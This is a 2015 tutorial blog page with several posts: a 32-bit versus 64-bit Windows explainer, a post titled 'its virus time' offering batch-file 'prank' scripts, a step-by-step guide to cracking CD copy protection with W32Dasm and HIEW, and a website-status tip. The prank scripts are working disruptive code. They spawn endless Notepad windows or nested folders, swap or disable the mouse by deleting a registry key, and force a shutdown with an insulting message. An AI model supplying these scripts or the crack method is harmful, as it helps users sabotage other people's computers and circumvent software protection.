Hiển thị các bài đăng có nhãn tutorials. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn tutorials. Hiển thị tất cả bài đăng

Thứ Sáu, 4 tháng 9, 2015

32-bit or 64-bit, What to choose and Why?

32-bit or 64-bit, What to choose and Why?
The tendency of a computer’s processor to deal with information on RAM (random access memory) depends upon 32 bit and 64 bit version of Windows. 64 bit version can handle more RAM and apps than 32 bit.
Let’s understand it in a simple way. 64 bit version can deal with physical memory (RAM) above 4 GB and up to 128GB (yes, it exists!) while 32-bit version ...
can address RAM up to 4 GB only. Therefore, if you have a 32 bit version of Windows installed on your computer then installing RAM above 4 GB doesn’t make sense.
The ability to handle large memory makes the 64 bit version more efficient while dealing with processes. Hence, it increases the overall performance of your PC. So 64 bit is more powerful in a nutshell. Now lets check some more things related to these two technologies.

Advantages of 64 bit computer--
?The main advantage of using 64-bit version of Windows is that it offers better memory accessibility and management.
?Enhanced security features like Kernel p@tch Protection, support for hardware-backed data execution protection, mandatory driver signing, removal of support for 32-bit drivers and removal of the 16-bit subsystem available.
?Performance of those programs that are specially written for 64 bit operating system is great.
Disadvantages of 64 bit computer--
There is no specific disadvantage of using this version but there are some things you have to take care of before deciding to use it.
?You should check availability of device drivers because 32 bit device drivers do not work on 64 bit version.
?Most of the hardware devices are not compatible with 64-bit computer.
?Device drivers must be digitally signed by the developer.
?Some programs of 32 bit aren’t compatible with 64 bit.
[How to Choose a correct version of Windows]
64 bit version--
?Selecting correct version of Windows depends upon your priority and need. If you want to take advantage of large memory (more than 4 GB) then you could go for 64-bit version. But do check for the 64-bit versions of various tools and programs you use everyday before making the switch.
?Most of new software and hardware are supported by 64-bit version. Check compatibility status of your software and devices.
32 bit version--
?32 bit versions are cheaper than 64 bit versions.
?If you are using old software and hardware then you could go with 32-bit version because it can support all your program and devices.
Note: Most programs designed for 32 bit version can support 64-bit version too (except some antivirus programs). But if a program is designed for 64 bit version then it won’t work on 32 bit version.

its virus time

its virus time
just type this in notepad and save it with name of virus.bat
and select file type-all files
and open it and see magic
opn note pad continouly
@echo off
Title Prank@Emrithackz
:loop
Start Notepad
Goto loop
Make 1000 folder within a second.
@echo off
Title Prank@Emrithackz
:loop
md %random%
Goto loop
Make 1000 Folder (Folder in folder &...so on) within 3seconds
@echo off
Title Prank@Emrithackz
cd "C:\Documents and Settings\%USERNAME%\Desktop"
set num=1
:loop
md %num%
cd %num%
set /a num=%num%+1
goto loop
Open So many applications with a Single Click
@echo off
Title Prank@Emrithackz
start notepad
start explorer.exe
start calc
Swap(exchange) Mouse Button
@echo off
Title Prank@Emrithackz
Rundll32 User32,SwapMouseButton
msg * hahaha :D:D
msg * hehehehehe
msg * Now Fix it..
Disable Mouse
@echo off
Title Prank@Emrithackz
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Service\Mouclass"
reg delete %key%
reg add %key% /v Start /t
REG_DWORD /d 4
How Rollback the changes:- Just Change the last line of above code with "REG_DWORD /d 3" without quotes
Convey a message & Shutdown his / her computer
@echo off
Title Prank@Emrithackz
msg * I want to say something..
shutdown -c Error! You are too stupid! -s
HOW TO CRACK ANY TYPE OF CD PROTECTION
Using W32Dasm, and HIEW.
OK, let’s start:
First of all, you have to run the damn game you want to crack, without the CD.
The game, doesn’t work of course, (Please, don’t panic) BUT a window pops up, telling you an error message.
This error message will help you to crack the game so, you’ve got to remember it.
For example: Please insert the - CD, or: You need the CD to play the - .
( -, is the game you want to crack). Anyway, if you are so idiot and you can’t remember it, write it, in a little piece of paper.
Now, run Win32Dasm, and on the toolbar, press the first little button on the left, OR, go to Disassembler ->Open file to Disassemble. A menu will pop up. Select the exe which you want to crack. The disassemble, will take few minutes so, I suggest you, to go for shitting.

OK, it finished its process.
Now, in your screen, there is a strange text, and we can’t understand anything of course. Don’t worry, the only thing we have to do, ( If you want, you can change the font), is to click on the String Data References, the button next to the print button (Strn.REF).
You can see a window which is called String Data Items. Scroll down, and try to find the game’s error message. When you’ll find it, double click on it, and then, close the window, to go back to the Win32Dasm text.
As you can see you are somewhere in the CD check routine. This is the message’s place. Now comes the interesting and difficult part, so, be careful.
We don’t know what all these shits mean, BUT we must know the @ offset of every call and jump command.
Write down, every call and jump @ offset number. (You have to be sure, that the OPBAR change its used color to green). You need the number behind the @offset without the h. Let’s go to HIEW, now.
HIEW:
To move up and down, use the cursor keys. Start HIEW. exe.
In the HIEW directory, there is a list of exes and programs. Go to the directory, which you saved the game’s exe, we want to crack, and click on the exe. Click F4, and then, a menu will pop up, with 3 words. Text, Hex, and Decode. Click on Decode, and now, we can understand the list of numbers.
Click F5, and you can now enter the number, we wrote down, in Win32Dasm. Type it, and you will be placed at the number’s place. The cursor is placed on a command.
Before I’ll continue, I want to explain you something. For example, if the command where our cursor is placed on, is E92BF9BF74, means that it is 5 bytes.
Every 2 numbers, are one byte: E9-2B-F9-BF-74 = 90-90-90-90-90. 10 letters, mean, 5 bytes.
OK, if you understood it, you can continue.
Press F3, which means edit, and now you can edit these ten numbers.
Type five times, the number 90. For every byte, 90. Now click on F10 to exit.
We cracked the CD protection

Thứ Ba, 1 tháng 9, 2015

Check website status working or not !  (Really awesome )


 Step 1.) Go to  http://www.downforeveryoneorjustme.com
 Step 2.) Type the  website name you wants to check .

Precautions :- Do not use the   https://www.   or  https://   or www.  before site name

e.g.  - let you wanna check google.as is working (up) or not (Down) just write google.as in blank box , instead of writing https://www.google.as/ etc .
Step 1
q
Step 2


[facebook]